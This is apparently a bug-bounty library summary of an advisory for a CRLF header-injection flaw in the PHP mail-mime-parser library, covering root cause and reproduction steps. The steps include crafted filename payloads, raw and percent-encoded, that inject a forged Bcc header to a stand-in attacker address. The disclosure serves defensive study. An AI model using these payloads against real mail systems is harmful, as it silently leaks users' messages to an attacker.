# zbateson/mail-mime-parser has CRLF header injection via attachment filename

mail-mime-parser fails to strip CR/LF from attachment filenames, letting crafted inbound RFC 2231 filename* values inject forged headers like Bcc on re-serialization.

- Payout: Research
- Severity: high
- Program: mail-mime-parser
- Found by: iliaal
- Disclosed: 2026-09-24
- CVE: CVE-2026-61815
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-36h5-qg4p-q2qf
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-36h5-qg4p-q2qf
- Tags: area:oss domain:oss impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:php technique:parser-differential technique:source-review vuln:crlf-injection

**Target:** PHP MIME message parsing/serialization library (MultipartHelper, ParameterPart, MimeToken)
**Root cause:** Outbound path only applies iconv US-ASCII translit, which preserves CR/LF, then writes filename verbatim into Content-Type/Content-Disposition via setRawHeader. Inbound decode paths (rawurldecode of RFC 2231 filename*, base64/QP decode of RFC 2047 words) reintroduce CR/LF after stripping.
**Steps:**
1. `composer require zbateson/mail-mime-parser`
2. Build outbound message and call `addAttachmentPart('payload','application/octet-stream', "doc\r\nBcc: attacker@evil.test")`
3. Serialize with `__toString()`; observe `Content-Disposition: attachment;\n filename="doc\nBcc: attacker@evil.test"` as a standalone header line
4. Inbound variant: parse a part with `Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test`
5. `getFilename()` returns `doc\r\nBcc: attacker@evil.test`; pass it to addAttachmentPart and re-serialize to inject
**How found:** Noticed the outbound sanitizer was only iconv US-ASCII translit, which cannot remove CR/LF since they are valid ASCII; then traced the decode side and found rawurldecode of RFC 2231 filename* and post-strip base64/QP decoding reintroduce newlines into getFilename().
**Exploitation:** Attacker sends crafted inbound mail whose attachment filename carries encoded CRLF; a victim application that re-attaches or forwards the parsed filename serializes extra attacker-controlled headers (e.g. forged Bcc) into the outgoing message, silently exfiltrating a copy.
**Insight:** Sanitizers that transliterate to US-ASCII do not remove CR/LF; and decode-then-strip ordering (strip on encoded word, decode after) reopens injection — check both encode and decode paths of any filename/parameter handling.